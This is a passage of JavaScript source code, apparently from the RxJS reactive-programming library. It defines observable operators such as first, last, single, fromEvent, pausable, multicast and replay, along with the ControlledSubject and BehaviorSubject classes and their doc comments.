observer.onCompleted();
}
i--;
}, observer.onError.bind(observer), function () {
if (!hasDefault) {
observer.onError(new Error(argumentOutOfRange));
} else {
observer.onNext(defaultValue);
observer.onCompleted();
}
});
});
}
/**
* Returns the element at a specified index in a sequence.
* @example
* var res = source.elementAt(5);
* @param {Number} index The zero-based index of the element to retrieve.
* @returns {Observable} An observable sequence that produces the element at the specified position in the source sequence.
*/
observableProto.elementAt = function (index) {
return elementAtOrDefault(this, index, false);
};
/**
* Returns the element at a specified index in a sequence or a default value if the index is out of range.
* @example
* var res = source.elementAtOrDefault(5);
* var res = source.elementAtOrDefault(5, 0);
* @param {Number} index The zero-based index of the element to retrieve.
* @param [defaultValue] The default value if the index is outside the bounds of the source sequence.
* @returns {Observable} An observable sequence that produces the element at the specified position in the source sequence, or a default value if the index is outside the bounds of the source sequence.
*/
observableProto.elementAtOrDefault = function (index, defaultValue) {
return elementAtOrDefault(this, index, true, defaultValue);
};
function singleOrDefaultAsync(source, hasDefault, defaultValue) {
return new AnonymousObservable(function (observer) {
var value = defaultValue, seenValue = false;
return source.subscribe(function (x) {
if (seenValue) {
observer.onError(new Error('Sequence contains more than one element'));
} else {
value = x;
seenValue = true;
}
}, observer.onError.bind(observer), function () {
if (!seenValue && !hasDefault) {
observer.onError(new Error(sequenceContainsNoElements));
} else {
observer.onNext(value);
observer.onCompleted();
}
});
});
}
/**
* Returns the only element of an observable sequence that satisfies the condition in the optional predicate, and reports an exception if there is not exactly one element in the observable sequence.
* @example
* var res = res = source.single();
* var res = res = source.single(function (x) { return x === 42; });
* @param {Function} [predicate] A predicate function to evaluate for elements in the source sequence.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} Sequence containing the single element in the observable sequence that satisfies the condition in the predicate.
*/
observableProto.single = function (predicate, thisArg) {
return predicate ?
this.where(predicate, thisArg).single() :
singleOrDefaultAsync(this, false);
};
/**
* Returns the only element of an observable sequence that matches the predicate, or a default value if no such element exists; this method reports an exception if there is more than one element in the observable sequence.
* @example
* var res = res = source.singleOrDefault();
* var res = res = source.singleOrDefault(function (x) { return x === 42; });
* res = source.singleOrDefault(function (x) { return x === 42; }, 0);
* res = source.singleOrDefault(null, 0);
* @memberOf Observable#
* @param {Function} predicate A predicate function to evaluate for elements in the source sequence.
* @param [defaultValue] The default value if the index is outside the bounds of the source sequence.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} Sequence containing the single element in the observable sequence that satisfies the condition in the predicate, or a default value if no such element exists.
*/
observableProto.singleOrDefault = function (predicate, defaultValue, thisArg) {
return predicate?
this.where(predicate, thisArg).singleOrDefault(null, defaultValue) :
singleOrDefaultAsync(this, true, defaultValue)
};
function firstOrDefaultAsync(source, hasDefault, defaultValue) {
return new AnonymousObservable(function (observer) {
return source.subscribe(function (x) {
observer.onNext(x);
observer.onCompleted();
}, observer.onError.bind(observer), function () {
if (!hasDefault) {
observer.onError(new Error(sequenceContainsNoElements));
} else {
observer.onNext(defaultValue);
observer.onCompleted();
}
});
});
}
/**
* Returns the first element of an observable sequence that satisfies the condition in the predicate if present else the first item in the sequence.
* @example
* var res = res = source.first();
* var res = res = source.first(function (x) { return x > 3; });
* @param {Function} [predicate] A predicate function to evaluate for elements in the source sequence.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} Sequence containing the first element in the observable sequence that satisfies the condition in the predicate if provided, else the first item in the sequence.
*/
observableProto.first = function (predicate, thisArg) {
return predicate ?
this.where(predicate, thisArg).first() :
firstOrDefaultAsync(this, false);
};
/**
* Returns the first element of an observable sequence that satisfies the condition in the predicate, or a default value if no such element exists.
* @example
* var res = res = source.firstOrDefault();
* var res = res = source.firstOrDefault(function (x) { return x > 3; });
* var res = source.firstOrDefault(function (x) { return x > 3; }, 0);
* var res = source.firstOrDefault(null, 0);
* @param {Function} [predicate] A predicate function to evaluate for elements in the source sequence.
* @param {Any} [defaultValue] The default value if no such element exists. If not specified, defaults to null.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} Sequence containing the first element in the observable sequence that satisfies the condition in the predicate, or a default value if no such element exists.
*/
observableProto.firstOrDefault = function (predicate, defaultValue, thisArg) {
return predicate ?
this.where(predicate).firstOrDefault(null, defaultValue) :
firstOrDefaultAsync(this, true, defaultValue);
};
function lastOrDefaultAsync(source, hasDefault, defaultValue) {
return new AnonymousObservable(function (observer) {
var value = defaultValue, seenValue = false;
return source.subscribe(function (x) {
value = x;
seenValue = true;
}, observer.onError.bind(observer), function () {
if (!seenValue && !hasDefault) {
observer.onError(new Error(sequenceContainsNoElements));
} else {
observer.onNext(value);
observer.onCompleted();
}
});
});
}
/**
* Returns the last element of an observable sequence that satisfies the condition in the predicate if specified, else the last element.
* @example
* var res = source.last();
* var res = source.last(function (x) { return x > 3; });
* @param {Function} [predicate] A predicate function to evaluate for elements in the source sequence.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} Sequence containing the last element in the observable sequence that satisfies the condition in the predicate.
*/
observableProto.last = function (predicate, thisArg) {
return predicate ?
this.where(predicate, thisArg).last() :
lastOrDefaultAsync(this, false);
};
/**
* Returns the last element of an observable sequence that satisfies the condition in the predicate, or a default value if no such element exists.
* @example
* var res = source.lastOrDefault();
* var res = source.lastOrDefault(function (x) { return x > 3; });
* var res = source.lastOrDefault(function (x) { return x > 3; }, 0);
* var res = source.lastOrDefault(null, 0);
* @param {Function} [predicate] A predicate function to evaluate for elements in the source sequence.
* @param [defaultValue] The default value if no such element exists. If not specified, defaults to null.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} Sequence containing the last element in the observable sequence that satisfies the condition in the predicate, or a default value if no such element exists.
*/
observableProto.lastOrDefault = function (predicate, defaultValue, thisArg) {
return predicate ?
this.where(predicate, thisArg).lastOrDefault(null, defaultValue) :
lastOrDefaultAsync(this, true, defaultValue);
};
function findValue (source, predicate, thisArg, yieldIndex) {
return new AnonymousObservable(function (observer) {
var i = 0;
return source.subscribe(function (x) {
var shouldRun;
try {
shouldRun = predicate.call(thisArg, x, i, source);
} catch(e) {
observer.onError(e);
return;
}
if (shouldRun) {
observer.onNext(yieldIndex ? i : x);
observer.onCompleted();
} else {
i++;
}
}, observer.onError.bind(observer), function () {
observer.onNext(yieldIndex ? -1 : undefined);
observer.onCompleted();
});
});
}
/**
* Searches for an element that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire Observable sequence.
* @param {Function} predicate The predicate that defines the conditions of the element to search for.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} An Observable sequence with the first element that matches the conditions defined by the specified predicate, if found; otherwise, undefined.
*/
observableProto.find = function (predicate, thisArg) {
return findValue(this, predicate, thisArg, false);
};
/**
* Searches for an element that matches the conditions defined by the specified predicate, and returns
* an Observable sequence with the zero-based index of the first occurrence within the entire Observable sequence.
* @param {Function} predicate The predicate that defines the conditions of the element to search for.
* @param {Any} [thisArg] Object to use as `this` when executing the predicate.
* @returns {Observable} An Observable sequence with the zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1.
*/
observableProto.findIndex = function (predicate, thisArg) {
return findValue(this, predicate, thisArg, true);
};
/**
* Invokes the specified function asynchronously on the specified scheduler, surfacing the result through an observable sequence.
*
* @example
* var res = Rx.Observable.start(function () { console.log('hello'); });
* var res = Rx.Observable.start(function () { console.log('hello'); }, Rx.Scheduler.timeout);
* var res = Rx.Observable.start(function () { this.log('hello'); }, Rx.Scheduler.timeout, console);
*
* @param {Function} func Function to run asynchronously.
* @param {Scheduler} [scheduler] Scheduler to run the function on. If not specified, defaults to Scheduler.timeout.
* @param [context] The context for the func parameter to be executed. If not specified, defaults to undefined.
* @returns {Observable} An observable sequence exposing the function's result value, or an exception.
*
* Remarks
* * The function is called immediately, not during the subscription of the resulting sequence.
* * Multiple subscriptions to the resulting sequence can observe the function's result.
*/
Observable.start = function (func, scheduler, context) {
return observableToAsync(func, scheduler, context)();
};
/**
* Converts the function into an asynchronous function. Each invocation of the resulting asynchronous function causes an invocation of the original synchronous function on the specified scheduler.
*
* @example
* var res = Rx.Observable.toAsync(function (x, y) { return x + y; })(4, 3);
* var res = Rx.Observable.toAsync(function (x, y) { return x + y; }, Rx.Scheduler.timeout)(4, 3);
* var res = Rx.Observable.toAsync(function (x) { this.log(x); }, Rx.Scheduler.timeout, console)('hello');
*
* @param {Function} function Function to convert to an asynchronous function.
* @param {Scheduler} [scheduler] Scheduler to run the function on. If not specified, defaults to Scheduler.timeout.
* @param {Mixed} [context] The context for the func parameter to be executed. If not specified, defaults to undefined.
* @returns {Function} Asynchronous function.
*/
var observableToAsync = Observable.toAsync = function (func, scheduler, context) {
scheduler || (scheduler = timeoutScheduler);
return function () {
var args = arguments,
subject = new AsyncSubject();
scheduler.schedule(function () {
var result;
try {
result = func.apply(context, args);
} catch (e) {
subject.onError(e);
return;
}
subject.onNext(result);
subject.onCompleted();
});
return subject.asObservable();
};
};
/**
* Converts a callback function to an observable sequence.
*
* @param {Function} function Function with a callback as the last parameter to convert to an Observable sequence.
* @param {Scheduler} [scheduler] Scheduler to run the function on. If not specified, defaults to Scheduler.timeout.
* @param {Mixed} [context] The context for the func parameter to be executed. If not specified, defaults to undefined.
* @param {Function} [selector] A selector which takes the arguments from the callback to produce a single item to yield on next.
* @returns {Function} A function, when executed with the required parameters minus the callback, produces an Observable sequence with a single value of the arguments to the callback as an array.
*/
Observable.fromCallback = function (func, scheduler, context, selector) {
scheduler || (scheduler = immediateScheduler);
return function () {
var args = slice.call(arguments, 0);
return new AnonymousObservable(function (observer) {
return scheduler.schedule(function () {
function handler(e) {
var results = e;
if (selector) {
try {
results = selector(arguments);
} catch (err) {
observer.onError(err);
return;
}
} else {
if (results.length === 1) {
results = results[0];
}
}
observer.onNext(results);
observer.onCompleted();
}
args.push(handler);
func.apply(context, args);
});
});
};
};
/**
* Converts a Node.js callback style function to an observable sequence. This must be in function (err, ...) format.
* @param {Function} func The function to call
* @param {Scheduler} [scheduler] Scheduler to run the function on. If not specified, defaults to Scheduler.timeout.
* @param {Mixed} [context] The context for the func parameter to be executed. If not specified, defaults to undefined.
* @param {Function} [selector] A selector which takes the arguments from the callback minus the error to produce a single item to yield on next.
* @returns {Function} An async function which when applied, returns an observable sequence with the callback arguments as an array.
*/
Observable.fromNodeCallback = function (func, scheduler, context, selector) {
scheduler || (scheduler = immediateScheduler);
return function () {
var args = slice.call(arguments, 0);
return new AnonymousObservable(function (observer) {
return scheduler.schedule(function () {
function handler(err) {
if (err) {
observer.onError(err);
return;
}
var results = slice.call(arguments, 1);
if (selector) {
try {
results = selector(results);
} catch (e) {
observer.onError(e);
return;
}
} else {
if (results.length === 1) {
results = results[0];
}
}
observer.onNext(results);
observer.onCompleted();
}
args.push(handler);
func.apply(context, args);
});
});
};
};
function fixEvent(event) {
var stopPropagation = function () {
this.cancelBubble = true;
};
var preventDefault = function () {
this.bubbledKeyCode = this.keyCode;
if (this.ctrlKey) {
try {
this.keyCode = 0;
} catch (e) { }
}
this.defaultPrevented = true;
this.returnValue = false;
this.modified = true;
};
event || (event = root.event);
if (!event.target) {
event.target = event.target || event.srcElement;
if (event.type == 'mouseover') {
event.relatedTarget = event.fromElement;
}
if (event.type == 'mouseout') {
event.relatedTarget = event.toElement;
}
// Adding stopPropogation and preventDefault to IE
if (!event.stopPropagation){
event.stopPropagation = stopPropagation;
event.preventDefault = preventDefault;
}
// Normalize key events
switch(event.type){
case 'keypress':
var c = ('charCode' in event ? event.charCode : event.keyCode);
if (c == 10) {
c = 0;
event.keyCode = 13;
} else if (c == 13 || c == 27) {
c = 0;
} else if (c == 3) {
c = 99;
}
event.charCode = c;
event.keyChar = event.charCode ? String.fromCharCode(event.charCode) : '';
break;
}
}
return event;
}
function createListener (element, name, handler) {
// Node.js specific
if (element.addListener) {
element.addListener(name, handler);
return disposableCreate(function () {
element.removeListener(name, handler);
});
}
// Standards compliant
if (element.addEventListener) {
element.addEventListener(name, handler, false);
return disposableCreate(function () {
element.removeEventListener(name, handler, false);
});
}
if (element.attachEvent) {
// IE Specific
var innerHandler = function (event) {
handler(fixEvent(event));
};
element.attachEvent('on' + name, innerHandler);
return disposableCreate(function () {
element.detachEvent('on' + name, innerHandler);
});
}
// Level 1 DOM Events
element['on' + name] = handler;
return disposableCreate(function () {
element['on' + name] = null;
});
}
function createEventListener (el, eventName, handler) {
var disposables = new CompositeDisposable();
// Asume NodeList
if (typeof el.item === 'function' && typeof el.length === 'number') {
for (var i = 0, len = el.length; i < len; i++) {
disposables.add(createEventListener(el.item(i), eventName, handler));
}
} else if (el) {
disposables.add(createListener(el, eventName, handler));
}
return disposables;
}
// Check for Angular/jQuery/Zepto support
var jq =
!!root.angular && !!angular.element ? angular.element :
(!!root.jQuery ? root.jQuery : (
!!root.Zepto ? root.Zepto : null));
// Check for ember
var ember = !!root.Ember && typeof root.Ember.addListener === 'function';
/**
* Creates an observable sequence by adding an event listener to the matching DOMElement or each item in the NodeList.
*
* @example
* var source = Rx.Observable.fromEvent(element, 'mouseup');
*
* @param {Object} element The DOMElement or NodeList to attach a listener.
* @param {String} eventName The event name to attach the observable sequence.
* @param {Function} [selector] A selector which takes the arguments from the event handler to produce a single item to yield on next.
* @returns {Observable} An observable sequence of events from the specified element and the specified event.
*/
Observable.fromEvent = function (element, eventName, selector) {
if (ember) {
return fromEventPattern(
function (h) { Ember.addListener(element, eventName); },
function (h) { Ember.removeListener(element, eventName); },
selector);
}
if (jq) {
var $elem = jq(element);
return fromEventPattern(
function (h) { $elem.on(eventName, h); },
function (h) { $elem.off(eventName, h); },
selector);
}
return new AnonymousObservable(function (observer) {
return createEventListener(
element,
eventName,
function handler (e) {
var results = e;
if (selector) {
try {
results = selector(arguments);
} catch (err) {
observer.onError(err);
return
}
}
observer.onNext(results);
});
}).publish().refCount();
};
/**
* Creates an observable sequence from an event emitter via an addHandler/removeHandler pair.
* @param {Function} addHandler The function to add a handler to the emitter.
* @param {Function} [removeHandler] The optional function to remove a handler from an emitter.
* @param {Function} [selector] A selector which takes the arguments from the event handler to produce a single item to yield on next.
* @returns {Observable} An observable sequence which wraps an event from an event emitter
*/
var fromEventPattern = Observable.fromEventPattern = function (addHandler, removeHandler, selector) {
return new AnonymousObservable(function (observer) {
function innerHandler (e) {
var result = e;
if (selector) {
try {
result = selector(arguments);
} catch (err) {
observer.onError(err);
return;
}
}
observer.onNext(result);
}
var returnValue = addHandler(innerHandler);
return disposableCreate(function () {
if (removeHandler) {
removeHandler(innerHandler, returnValue);
}
});
}).publish().refCount();
};
/**
* Invokes the asynchronous function, surfacing the result through an observable sequence.
* @param {Function} functionAsync Asynchronous function which returns a Promise to run.
* @returns {Observable} An observable sequence exposing the function's result value, or an exception.
*/
Observable.startAsync = function (functionAsync) {
var promise;
try {
promise = functionAsync();
} catch (e) {
return observableThrow(e);
}
return observableFromPromise(promise);
}
var PausableObservable = (function (_super) {
inherits(PausableObservable, _super);
function subscribe(observer) {
var conn = this.source.publish(),
subscription = conn.subscribe(observer),
connection = disposableEmpty;
var pausable = this.subject.distinctUntilChanged().subscribe(function (b) {
if (b) {
connection = conn.connect();
} else {
connection.dispose();
connection = disposableEmpty;
}
});
return new CompositeDisposable(subscription, connection, pausable);
}
function PausableObservable(source, subject) {
this.source = source;
this.subject = subject || new Subject();
this.isPaused = true;
_super.call(this, subscribe);
}
PausableObservable.prototype.pause = function () {
if (this.isPaused === true){
return;
}
this.isPaused = true;
this.subject.onNext(false);
};
PausableObservable.prototype.resume = function () {
if (this.isPaused === false){
return;
}
this.isPaused = false;
this.subject.onNext(true);
};
return PausableObservable;
}(Observable));
/**
* Pauses the underlying observable sequence based upon the observable sequence which yields true/false.
* @example
* var pauser = new Rx.Subject();
* var source = Rx.Observable.interval(100).pausable(pauser);
* @param {Observable} pauser The observable sequence used to pause the underlying sequence.
* @returns {Observable} The observable sequence which is paused based upon the pauser.
*/
observableProto.pausable = function (pauser) {
return new PausableObservable(this, pauser);
};
function combineLatestSource(source, subject, resultSelector) {
return new AnonymousObservable(function (observer) {
var n = 2,
hasValue = [false, false],
hasValueAll = false,
isDone = false,
values = new Array(n);
function next(x, i) {
values[i] = x
var res;
hasValue[i] = true;
if (hasValueAll || (hasValueAll = hasValue.every(identity))) {
try {
res = resultSelector.apply(null, values);
} catch (ex) {
observer.onError(ex);
return;
}
observer.onNext(res);
} else if (isDone) {
observer.onCompleted();
}
}
return new CompositeDisposable(
source.subscribe(
function (x) {
next(x, 0);
},
observer.onError.bind(observer),
function () {
isDone = true;
observer.onCompleted();
}),
subject.subscribe(
function (x) {
next(x, 1);
},
observer.onError.bind(observer))
);
});
}
var PausableBufferedObservable = (function (_super) {
inherits(PausableBufferedObservable, _super);
function subscribe(observer) {
var q = [], previous = true;
var subscription =
combineLatestSource(
this.source,
this.subject.distinctUntilChanged(),
function (data, shouldFire) {
return { data: data, shouldFire: shouldFire };
})
.subscribe(
function (results) {
if (results.shouldFire && previous) {
observer.onNext(results.data);
}
if (results.shouldFire && !previous) {
while (q.length > 0) {
observer.onNext(q.shift());
}
previous = true;
} else if (!results.shouldFire && !previous) {
q.push(results.data);
} else if (!results.shouldFire && previous) {
previous = false;
}
},
function (err) {
// Empty buffer before sending error
while (q.length > 0) {
observer.onNext(q.shift());
}
observer.onError(err);
},
function () {
// Empty buffer before sending completion
while (q.length > 0) {
observer.onNext(q.shift());
}
observer.onCompleted();
}
);
this.subject.onNext(false);
return subscription;
}
function PausableBufferedObservable(source, subject) {
this.source = source;
this.subject = subject || new Subject();
this.isPaused = true;
_super.call(this, subscribe);
}
PausableBufferedObservable.prototype.pause = function () {
if (this.isPaused === true){
return;
}
this.isPaused = true;
this.subject.onNext(false);
};
PausableBufferedObservable.prototype.resume = function () {
if (this.isPaused === false){
return;
}
this.isPaused = false;
this.subject.onNext(true);
};
return PausableBufferedObservable;
}(Observable));
/**
* Pauses the underlying observable sequence based upon the observable sequence which yields true/false,
* and yields the values that were buffered while paused.
* @example
* var pauser = new Rx.Subject();
* var source = Rx.Observable.interval(100).pausableBuffered(pauser);
* @param {Observable} pauser The observable sequence used to pause the underlying sequence.
* @returns {Observable} The observable sequence which is paused based upon the pauser.
*/
observableProto.pausableBuffered = function (subject) {
return new PausableBufferedObservable(this, subject);
};
/**
* Attaches a controller to the observable sequence with the ability to queue.
* @example
* var source = Rx.Observable.interval(100).controlled();
* source.request(3); // Reads 3 values
* @param {Observable} pauser The observable sequence used to pause the underlying sequence.
* @returns {Observable} The observable sequence which is paused based upon the pauser.
*/
observableProto.controlled = function (enableQueue) {
if (enableQueue == null) { enableQueue = true; }
return new ControlledObservable(this, enableQueue);
};
var ControlledObservable = (function (_super) {
inherits(ControlledObservable, _super);
function subscribe (observer) {
return this.source.subscribe(observer);
}
function ControlledObservable (source, enableQueue) {
_super.call(this, subscribe);
this.subject = new ControlledSubject(enableQueue);
this.source = source.multicast(this.subject).refCount();
}
ControlledObservable.prototype.request = function (numberOfItems) {
if (numberOfItems == null) { numberOfItems = -1; }
return this.subject.request(numberOfItems);
};
return ControlledObservable;
}(Observable));
var ControlledSubject = Rx.ControlledSubject = (function (_super) {
function subscribe (observer) {
return this.subject.subscribe(observer);
}
inherits(ControlledSubject, _super);
function ControlledSubject(enableQueue) {
if (enableQueue == null) {
enableQueue = true;
}
_super.call(this, subscribe);
this.subject = new Subject();
this.enableQueue = enableQueue;
this.queue = enableQueue ? [] : null;
this.requestedCount = 0;
this.requestedDisposable = disposableEmpty;
this.error = null;
this.hasFailed = false;
this.hasCompleted = false;
this.controlledDisposable = disposableEmpty;
}
addProperties(ControlledSubject.prototype, Observer, {
onCompleted: function () {
checkDisposed.call(this);
this.hasCompleted = true;
if (!this.enableQueue || this.queue.length === 0) {
this.subject.onCompleted();
}
},
onError: function (error) {
checkDisposed.call(this);
this.hasFailed = true;
this.error = error;
if (!this.enableQueue || this.queue.length === 0) {
this.subject.onError(error);
}
},
onNext: function (value) {
checkDisposed.call(this);
var hasRequested = false;
if (this.requestedCount === 0) {
if (this.enableQueue) {
this.queue.push(value);
}
} else {
if (this.requestedCount !== -1) {
if (this.requestedCount-- === 0) {
this.disposeCurrentRequest();
}
}
hasRequested = true;
}
if (hasRequested) {
this.subject.onNext(value);
}
},
_processRequest: function (numberOfItems) {
if (this.enableQueue) {
//console.log('queue length', this.queue.length);
while (this.queue.length >= numberOfItems && numberOfItems > 0) {
//console.log('number of items', numberOfItems);
this.subject.onNext(this.queue.shift());
numberOfItems--;
}
if (this.queue.length !== 0) {
return { numberOfItems: numberOfItems, returnValue: true };
} else {
return { numberOfItems: numberOfItems, returnValue: false };
}
}
if (this.hasFailed) {
this.subject.onError(this.error);
this.controlledDisposable.dispose();
this.controlledDisposable = disposableEmpty;
} else if (this.hasCompleted) {
this.subject.onCompleted();
this.controlledDisposable.dispose();
this.controlledDisposable = disposableEmpty;
}
return { numberOfItems: numberOfItems, returnValue: false };
},
request: function (number) {
checkDisposed.call(this);
this.disposeCurrentRequest();
var self = this,
r = this._processRequest(number);
number = r.numberOfItems;
if (!r.returnValue) {
this.requestedCount = number;
this.requestedDisposable = disposableCreate(function () {
self.requestedCount = 0;
});
return this.requestedDisposable
} else {
return disposableEmpty;
}
},
disposeCurrentRequest: function () {
this.requestedDisposable.dispose();
this.requestedDisposable = disposableEmpty;
},
dispose: function () {
this.isDisposed = true;
this.error = null;
this.subject.dispose();
this.requestedDisposable.dispose();
}
});
return ControlledSubject;
}(Observable));
/**
* Multicasts the source sequence notifications through an instantiated subject into all uses of the sequence within a selector function. Each
* subscription to the resulting sequence causes a separate multicast invocation, exposing the sequence resulting from the selector function's
* invocation. For specializations with fixed subject types, see Publish, PublishLast, and Replay.
*
* @example
* 1 - res = source.multicast(observable);
* 2 - res = source.multicast(function () { return new Subject(); }, function (x) { return x; });
*
* @param {Function|Subject} subjectOrSubjectSelector
* Factory function to create an intermediate subject through which the source sequence's elements will be multicast to the selector function.
* Or:
* Subject to push source elements into.
*
* @param {Function} [selector] Optional selector function which can use the multicasted source sequence subject to the policies enforced by the created subject. Specified only if <paramref name="subjectOrSubjectSelector" is a factory function.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence within a selector function.
*/
observableProto.multicast = function (subjectOrSubjectSelector, selector) {
var source = this;
return typeof subjectOrSubjectSelector === 'function' ?
new AnonymousObservable(function (observer) {
var connectable = source.multicast(subjectOrSubjectSelector());
return new CompositeDisposable(selector(connectable).subscribe(observer), connectable.connect());
}) :
new ConnectableObservable(source, subjectOrSubjectSelector);
};
/**
* Returns an observable sequence that is the result of invoking the selector on a connectable observable sequence that shares a single subscription to the underlying sequence.
* This operator is a specialization of Multicast using a regular Subject.
*
* @example
* var resres = source.publish();
* var res = source.publish(function (x) { return x; });
*
* @param {Function} [selector] Selector function which can use the multicasted source sequence as many times as needed, without causing multiple subscriptions to the source sequence. Subscribers to the given source will receive all notifications of the source from the time of the subscription on.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence within a selector function.
*/
observableProto.publish = function (selector) {
return !selector ?
this.multicast(new Subject()) :
this.multicast(function () {
return new Subject();
}, selector);
};
/**
* Returns an observable sequence that shares a single subscription to the underlying sequence.
* This operator is a specialization of publish which creates a subscription when the number of observers goes from zero to one, then shares that subscription with all subsequent observers until the number of observers returns to zero, at which point the subscription is disposed.
*
* @example
* var res = source.share();
*
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence.
*/
observableProto.share = function () {
return this.publish(null).refCount();
};
/**
* Returns an observable sequence that is the result of invoking the selector on a connectable observable sequence that shares a single subscription to the underlying sequence containing only the last notification.
* This operator is a specialization of Multicast using a AsyncSubject.
*
* @example
* var res = source.publishLast();
* var res = source.publishLast(function (x) { return x; });
*
* @param selector [Optional] Selector function which can use the multicasted source sequence as many times as needed, without causing multiple subscriptions to the source sequence. Subscribers to the given source will only receive the last notification of the source.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence within a selector function.
*/
observableProto.publishLast = function (selector) {
return !selector ?
this.multicast(new AsyncSubject()) :
this.multicast(function () {
return new AsyncSubject();
}, selector);
};
/**
* Returns an observable sequence that is the result of invoking the selector on a connectable observable sequence that shares a single subscription to the underlying sequence and starts with initialValue.
* This operator is a specialization of Multicast using a BehaviorSubject.
*
* @example
* var res = source.publishValue(42);
* var res = source.publishValue(function (x) { return x.select(function (y) { return y * y; }) }, 42);
*
* @param {Function} [selector] Optional selector function which can use the multicasted source sequence as many times as needed, without causing multiple subscriptions to the source sequence. Subscribers to the given source will receive immediately receive the initial value, followed by all notifications of the source from the time of the subscription on.
* @param {Mixed} initialValue Initial value received by observers upon subscription.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence within a selector function.
*/
observableProto.publishValue = function (initialValueOrSelector, initialValue) {
return arguments.length === 2 ?
this.multicast(function () {
return new BehaviorSubject(initialValue);
}, initialValueOrSelector) :
this.multicast(new BehaviorSubject(initialValueOrSelector));
};
/**
* Returns an observable sequence that shares a single subscription to the underlying sequence and starts with an initialValue.
* This operator is a specialization of publishValue which creates a subscription when the number of observers goes from zero to one, then shares that subscription with all subsequent observers until the number of observers returns to zero, at which point the subscription is disposed.
*
* @example
* var res = source.shareValue(42);
*
* @param {Mixed} initialValue Initial value received by observers upon subscription.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence.
*/
observableProto.shareValue = function (initialValue) {
return this.publishValue(initialValue).
refCount();
};
/**
* Returns an observable sequence that is the result of invoking the selector on a connectable observable sequence that shares a single subscription to the underlying sequence replaying notifications subject to a maximum time length for the replay buffer.
* This operator is a specialization of Multicast using a ReplaySubject.
*
* @example
* var res = source.replay(null, 3);
* var res = source.replay(null, 3, 500);
* var res = source.replay(null, 3, 500, scheduler);
* var res = source.replay(function (x) { return x.take(6).repeat(); }, 3, 500, scheduler);
*
* @param selector [Optional] Selector function which can use the multicasted source sequence as many times as needed, without causing multiple subscriptions to the source sequence. Subscribers to the given source will receive all the notifications of the source subject to the specified replay buffer trimming policy.
* @param bufferSize [Optional] Maximum element count of the replay buffer.
* @param window [Optional] Maximum time length of the replay buffer.
* @param scheduler [Optional] Scheduler where connected observers within the selector function will be invoked on.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence within a selector function.
*/
observableProto.replay = function (selector, bufferSize, window, scheduler) {
return !selector ?
this.multicast(new ReplaySubject(bufferSize, window, scheduler)) :
this.multicast(function () {
return new ReplaySubject(bufferSize, window, scheduler);
}, selector);
};
/**
* Returns an observable sequence that shares a single subscription to the underlying sequence replaying notifications subject to a maximum time length for the replay buffer.
* This operator is a specialization of replay which creates a subscription when the number of observers goes from zero to one, then shares that subscription with all subsequent observers until the number of observers returns to zero, at which point the subscription is disposed.
*
* @example
* var res = source.replayWhileObserved(3);
* var res = source.replayWhileObserved(3, 500);
* var res = source.replayWhileObserved(3, 500, scheduler);
*
* @param bufferSize [Optional] Maximum element count of the replay buffer.
* @param window [Optional] Maximum time length of the replay buffer.
* @param scheduler [Optional] Scheduler where connected observers within the selector function will be invoked on.
* @returns {Observable} An observable sequence that contains the elements of a sequence produced by multicasting the source sequence.
*/
observableProto.replayWhileObserved = function (bufferSize, window, scheduler) {
return this.replay(null, bufferSize, window, scheduler).refCount();
};
/** @private */
var InnerSubscription = function (subject, observer) {
this.subject = subject;
this.observer = observer;
};
/**
* @private
* @memberOf InnerSubscription
*/
InnerSubscription.prototype.dispose = function () {
if (!this.subject.isDisposed && this.observer !== null) {
var idx = this.subject.observers.indexOf(this.observer);
this.subject.observers.splice(idx, 1);
this.observer = null;
}
};
/**
* Represents a value that changes over time.
* Observers can subscribe to the subject to receive the last (or initial) value and all subsequent notifications.
*/
var BehaviorSubject = Rx.BehaviorSubject = (function (_super) {
function subscribe(observer) {
checkDisposed.call(this);
if (!this.isStopped) {
this.observers.push(observer);
observer.onNext(this.value);
return new InnerSubscription(this, observer);
}
var ex = this.exception;
if (ex) {
observer.onError(ex);
} else {
observer.onCompleted();
}
return disposableEmpty;
}
inherits(BehaviorSubject, _super);
/**
* @constructor
* Initializes a new instance of the BehaviorSubject class which creates a subject that caches its last value and starts with the specified value.
* @param {Mixed} value Initial value sent to observers when no other value has been received by the subject yet.
*/
function BehaviorSubject(value) {
_super.call(this, subscribe);
this.value = value,
this.observers = [],
this.isDisposed = false,
this.isStopped = false,
this.exception = null;
}
addProperties(BehaviorSubject.prototype, Observer, {
/**
* Indicates whether the subject has observers subscribed to it.
* @returns {Boolean} Indicates whether the subject has observers subscribed to it.
*/
hasObservers: function () {
return this.observers.length > 0;
},
/**
* Notifies all subscribed observers about the end of the sequence.
*/
onCompleted: function () {
checkDisposed.call(this);
if (!this.isStopped) {
var os = this.observers.slice(0);
this.isStopped = true;
for (var i = 0, len = os.length; i < len; i++) {
os[i].onCompleted();
}
this.observers = [];
}
},
/**
* Notifies all subscribed observers about the exception.
* @param {Mixed} error The exception to send to all observers.
*/
onError: function (error) {
checkDisposed.call(this);
if (!this.isStopped) {
var os = this.observers.slice(0);
this.isStopped = true;
this.exception = error;
for (var i = 0, len = os.length; i < len; i++) {
os[i].onError(error);
}
this.observers = [];
}
},
/**
* Notifies all subscribed observers about the arrival of the specified element in the sequence.
* @param {Mixed} value The value to send to all observers.
*/
onNext: function (value) {
checkDisposed.call(this);
if (!this.isStopped) {
this.value = value;
var os = this.observers.slice(0);
for (var i = 0, len = os.length; i < len; i++) {
os[i].onNext(value);
}
}
},
/**
* Unsubscribe all observers and release resources.
*/
dispose: function () {
this.isDisposed = true;
